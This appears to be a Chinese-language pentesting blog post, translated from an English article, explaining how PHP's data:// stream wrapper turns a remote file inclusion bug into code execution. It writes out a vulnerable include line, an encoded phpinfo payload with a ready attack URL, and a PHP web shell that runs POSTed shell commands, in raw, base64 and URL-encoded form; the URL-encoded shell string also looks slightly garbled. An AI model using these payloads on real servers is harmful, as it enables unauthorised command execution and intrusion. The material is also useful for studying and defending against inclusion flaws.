- 浏览: 290792 次
-
文章分类
- 全部博客 (276)
- burp+hydra暴力破解 (1)
- kali linux工具集 (6)
- kali (59)
- linux (54)
- password (14)
- web (63)
- 渗透测试 (50)
- windows (40)
- metasploit (9)
- 信息收集 (32)
- burp suit (4)
- 安全审计 (9)
- https://github.com/secretsquirrel/the-backdoor-factory (0)
- nmap (4)
- arachni (2)
- 工具 (5)
- sql (3)
- 网络 (2)
- 后渗透测试 (10)
- 内网 (5)
- 无线 (2)
- C (3)
- bios (1)
- RoR (12)
- mongodb (1)
- linxu (1)
- gdb (1)
- linux,虚拟化 (1)
- python (4)
最新评论
原文地址:
https://www.idontplaydarts.com/2011/03/php-remote-file-inclusion-command-shell-using-data-stream/
PHP5.2及后续版本支持流封装。流封装的基本原理是通过另一个协议或服务写一个接口,然后可以使用你需要的函数获得数据。
例如
另一个使用data://流是解码base64字符串:
流可以用于file_get_contents,fopen,include和require等。
5.2版本之后,如果allow_url_include开启了,我们可以使用数据流来包含可执行的PHP代码。例如:
通过把一个字符串使用base64编码,然后使用url编码该字符串中的特殊字符,我们可以成功执行脚本。如下我们可以使用上面的脚本执行phpinfo来获得环境变量
上面的die语句用来阻止执行脚本的剩余部分或追加在数据流后面的不正确解码的".php"字符串。
除此以外,还可以执行shell命令,如下
PHP Payload:
Base64编码后的payload
Base64 + URL编码后的payload
运行php shell
https://www.idontplaydarts.com/2011/03/php-remote-file-inclusion-command-shell-using-data-stream/
PHP5.2及后续版本支持流封装。流封装的基本原理是通过另一个协议或服务写一个接口,然后可以使用你需要的函数获得数据。
例如
$session=ssh2_connect('example.com',22); $stream=fopen("ssh2.tunnel://$session/remote.example.com:1234",'r');
另一个使用data://流是解码base64字符串:
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
流可以用于file_get_contents,fopen,include和require等。
5.2版本之后,如果allow_url_include开启了,我们可以使用数据流来包含可执行的PHP代码。例如:
<? include($_GET['file'] . ".php");
通过把一个字符串使用base64编码,然后使用url编码该字符串中的特殊字符,我们可以成功执行脚本。如下我们可以使用上面的脚本执行phpinfo来获得环境变量
<? phpinfo(); die();?> :::php // Base64 Encoded PD8gcGhwaW5mbygpOyBkaWUoKTs/Pg== // URL + Base64 Encoded PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg== // Final URL index.php?file=data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==
上面的die语句用来阻止执行脚本的剩余部分或追加在数据流后面的不正确解码的".php"字符串。
除此以外,还可以执行shell命令,如下
PHP Payload:
<form action="<?=$_SERVER['REQUEST_URI']?>" method="POST"><input type="text" name="x" value="<?=htmlentities($_POST['x'])?>"><input type="submit" value="cmd"></form><pre><? echo `{$_POST['x']}`; ?></pre><? die(); ?>
Base64编码后的payload
PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT8+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0+PHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8+PC9wcmU+PD8gZGllKCk7ID8+Cgo=
Base64 + URL编码后的payload
PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2BIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT82BIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2BPHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8%2BPC9wcmU%2BPD8gZGllKCk7ID8%2BCgo%3D
运行php shell

发表评论
-
[转]Tunneling Data and Commands Over DNS to Bypass Firewalls
2015-07-13 20:44 487https://zeltser.com/c2-dns-tunn ... -
[译]解密MSSQL密码
2015-03-26 00:43 2885原文地址: https://blog.ne ... -
自动化Man-in-the-Middle SSHv2攻击
2015-03-18 01:26 1048参考:http://www.david-guembel.de/ ... -
[译]剪切粘贴二进制文件
2014-12-17 01:20 859原文地址:http://pen-testing.sans.or ... -
the-backdoor-factory
2014-11-27 01:30 1920参考:https://github.com/secretsqu ... -
[工具]PCredz
2014-11-26 22:10 540项目地址:https://github.com/lgandx/ ... -
[译]PsExec绕过UAC
2014-11-25 01:15 1185原文地址:http://pen-testing.sans.or ... -
Kerberos 认证过程
2014-11-22 01:06 1018... -
[译]phpMyAdmin利用
2014-11-21 02:11 631原文地址:http://pen-testing.sans.or ... -
[译]用python来玩转Volume Shadow copies
2014-11-20 22:54 1249原文地址:http://pen-testi ... -
[译]通过认证的SMB Sessions攫取信息
2014-11-20 02:06 1237原文地址:http://pen-testing.sans.or ... -
Laudanum
2014-11-20 01:42 334项目地址:http://sourceforge.net/pro ... -
[译]网络渗透测试及其,工具及资源
2014-11-19 02:06 718原文地址:http://pen-testi ... -
渗透测试一览表
2014-11-19 01:24 488原文地址:http://pen-testing.sans.or ... -
php Meterpreter Webshell
2014-11-17 02:22 14811. msfvenom -p php/meterpreter ... -
psexec(续)
2014-11-15 15:45 510在早期的psexec版本中,如果使用-u username - ... -
[译]psexec杂谈
2014-11-14 02:00 844原文地址:http://pen-testi ... -
[译]snmp使用
2014-11-13 23:19 978原文地址:http://pen-testing.sans.or ... -
windows hack exposed
2014-11-12 07:42 656netbios enum 1. net view /d ... -
[译]web shell中使用su
2014-11-11 01:58 1895原文地址:http://pen-testing.sans.or ...
相关推荐
XSS(跨站脚本攻击)和RFI(远程文件包含攻击)是两种常见的网络安全漏洞,主要用于攻击Web应用程序。这两种攻击方式对网站的安全性构成严重威胁,因此了解它们的工作原理、防范措施以及如何进行扫描至关重要。 XSS...
lfi-labs, 用于实践开发 LFI RFI和CMD注入vulns的小型PHP脚本集 lfi实验室用于实践开发 LFI 。RFI和CMD注入vulns的小型PHP脚本集为什么?用于培训和测试。 你可以测试检测产品( 比如 。 漏洞扫描器),利用工具等。...
LFI基础:PHP LFI漏洞分析.docx LFI基础:PHP LFI漏洞分析all.docx LFI基础:PHP LFI漏洞分析_(10).PHP文件包含函数详解.docx LFI基础:PHP LFI漏洞分析...LFI基础:PHP LFI漏洞分析_(5).LFI漏洞与RFI漏洞的关系.do
2. **远程文件包含漏洞(RFI)**:当PHP应用程序允许从远程URL加载并执行文件时,就会出现RFI漏洞。攻击者可以利用此漏洞将恶意代码注入到服务器,从而执行任意的PHP代码。修复此类漏洞的方法是禁用或限制`include()...
PHP包含漏洞通常分为两种类型:本地包含漏洞(Local File Inclusion, LFI)和远程包含漏洞(Remote File Inclusion, RFI)。LFI漏洞允许攻击者读取服务器上的任意文件,而RFI漏洞则更严重,因为它能让攻击者通过指定...
防火墙可能包括了规则集、日志系统、异常检测机制等组件,用于监控并阻止不安全的HTTP请求,防止SQL注入、跨站脚本攻击(XSS)、远程文件包含(RFI)等常见的Web应用安全威胁。 【标签】"PHP" 明确指出这个防火墙是...
在本文中,我们将深入探讨如何利用PHP的远程文件包含(Remote File Inclusion,RFI)漏洞,即使在PHP环境中配置了禁止从HTTP/FTP URL包含文件的情况下。远程文件包含漏洞通常发生在应用程序允许用户输入用于决定要...
在实际的Web开发中,防火墙扮演着至关重要的角色,它可以检测并阻止潜在的SQL注入、跨站脚本攻击(XSS)、远程文件包含(RFI)等威胁。PHP防火墙通常通过分析和过滤输入数据,以及设置安全策略来实现这一目标。 【描述...
例如,查找可能导致远程文件包含(RFI)、命令注入或逻辑错误的部分。 2. **错误处理**:避免在生产环境中泄露敏感信息,如错误报告和堆栈跟踪。使用_error_handler自定义错误处理函数,以控制错误输出。 3. **文件...
5. **远程文件包含(RFI)**:与文件包含漏洞类似,但此情况中包含的文件来源于远程服务器。攻击者可以通过提供恶意URL,使服务器下载并执行远程的恶意代码。 6. **代码注入**:当PHP脚本在输出之前没有正确转义或...
在IT安全领域,尤其是Web应用安全,SQL注入(SQLi)、跨站脚本攻击(XSS)、远程文件包含(RFI)和本地文件包含(LFI)是四种常见的漏洞类型。这些漏洞通常源于PHP编程中的错误或疏忽,使得攻击者能够利用它们执行...
如果脚本允许用户控制包含的文件路径,这将导致本地文件包含(LFI)或远程文件包含(RFI)漏洞,从而暴露系统敏感信息。 **详细解释:** 文件包含漏洞通常发生在脚本使用动态路径来包含文件的情况下,如使用用户...
远程文件包含(Remote File Inclusion,简称RFI)是PHP程序开发中常见的安全漏洞之一。它发生在当PHP脚本动态包含一个外部文件时,如果该文件的路径由用户输入且未经过充分验证或过滤,则攻击者可以通过提供恶意文件...
PHP支持丰富的文件操作功能,但这也可能导致远程文件包含漏洞(Remote File Inclusion, RFI)。例如,考虑以下代码片段: ```php <?php if (!($fd = fopen("$filename", "r"))) { echo "Could not open file: $...
1. **`include()`与`require()`**: 这两个函数常用于引入外部文件,但如果缺乏适当的过滤机制,则可能导致任意文件的包含(LFI/RFI)。例如,当变量未经过滤直接用于文件路径时,攻击者可通过修改请求参数来加载恶意...
但使用这项功能时需要谨慎,因为远程文件包含(RFI)可能存在安全风险,例如可能遭受远程文件包含漏洞攻击,导致服务器被远程控制。因此,在使用allow_url_include功能时,必须确保使用的URL是安全可信的,或者采取...
2. **远程文件包含 (RFI)**:如果允许从远程服务器加载文件,那么攻击者可以通过提供恶意URL来执行远程服务器上的代码,从而实现远程代码执行。 #### 漏洞实例与绕过方法 为了更好地理解这两种文件包含漏洞,下面...
例如,PHP中的`include`或`require`函数如果没有进行适当的输入验证,就可能成为RFI攻击的目标。如果`allow_url_include`配置选项被设为`ON`,那么这些函数将能够加载远程文件。 ### **攻击示例** 假设有一个应用的...
1. `include()`、`require()` 和 `include_once()`、`require_once()`: 当配合用户可控的变量使用时,可能导致远程文件包含漏洞(RFI)。开发者应使用绝对路径或安全的变量来指定文件路径。 2. `file_get_contents()...
2. **远程文件包含(Remote File Inclusion, RFI)**:另一个风险是,当使用动态路径进行文件包含操作(如`include "$path/script.php"`)时,开启`register_globals`可能导致恶意用户通过设置`$path`变量来包含远程...